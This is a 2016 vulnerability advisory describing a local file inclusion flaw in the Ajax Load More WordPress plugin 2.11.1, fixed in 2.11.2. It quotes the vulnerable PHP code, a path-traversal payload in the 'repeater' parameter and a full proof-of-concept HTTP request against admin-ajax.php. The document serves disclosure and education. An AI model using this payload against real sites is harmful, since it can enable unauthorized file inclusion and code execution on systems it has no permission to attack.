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Ajax Load More Local File Inclusion vulnerability
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Burak Kelebek, July 2016

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Abstract
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It was discovered that the Ajax Load More WordPress plugin is vulnerable
to Local File Inclusion. This issue can potentially be exploited to run
arbitrary PHP code. In order to do so, the attacker must be able to
place an arbitrary PHP file on the target system. The malicious file
must have the .php extension.

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OVE ID
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OVE-20160712-0034

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Tested versions
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This issue was succesfully tested on the Ajax Load More - Infinite
Scroll WordPress Plugin version 2.11.1.

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Fix
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This issue is fixed in version 2.11.2

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Details
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https://sumofpwn.nl/advisory/2016/ajax_load_more_local_file_inclusion_vulnerability.html

Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion.
For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.

repeater=repeater2f%2e%2e%2f../../../xmlrpc

https://www.owasp.org/index.php/PHP_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';      
$type = alm_get_repeater_type($repeater);
   
function alm_get_repeater_type($repeater){
   $type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
$type = $type[0]; // default | repeater | template_   
   return $type;
}
   
[..]
   
if($queryType === 'standard'){
   
[..]
   
   if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
                   do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
                  }else{
                     include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
                  }
                  
[..]
   
function alm_get_current_repeater($repeater, $type) {

   $template = $repeater;
   $include = '';
      
   // If is Custom Repeaters (Custom Repeaters v1)
   if( $type == 'repeater' && has_action('alm_repeater_installed' )){
      $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';                
      
      if(!file_exists($include)) //confirm file exists          
       alm_get_default_repeater();
      
   }
// If is Unlimited Repeaters (Custom Repeaters v2)
   elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
      global $wpdb;
      $blog_id = $wpdb->blogid;
      
      if($blog_id > 1){   
         $include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
      }else{
         $include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';      
      }       
            
      if(!file_exists($include)) //confirm file exists          
       $include = alm_get_default_repeater();          
   
   }
   // Default repeater
   else{            
      $include = alm_get_default_repeater();
   }
      
   return $include;
   
}

The victim should have the paid add-on Custom Repeater or Unlimited installed.
Proof of Concept

GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
Host: 192.168.50.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.50.9/html/
Cookie:
Connection: close
Pragma: no-cache
Cache-Control: no-cache

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goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.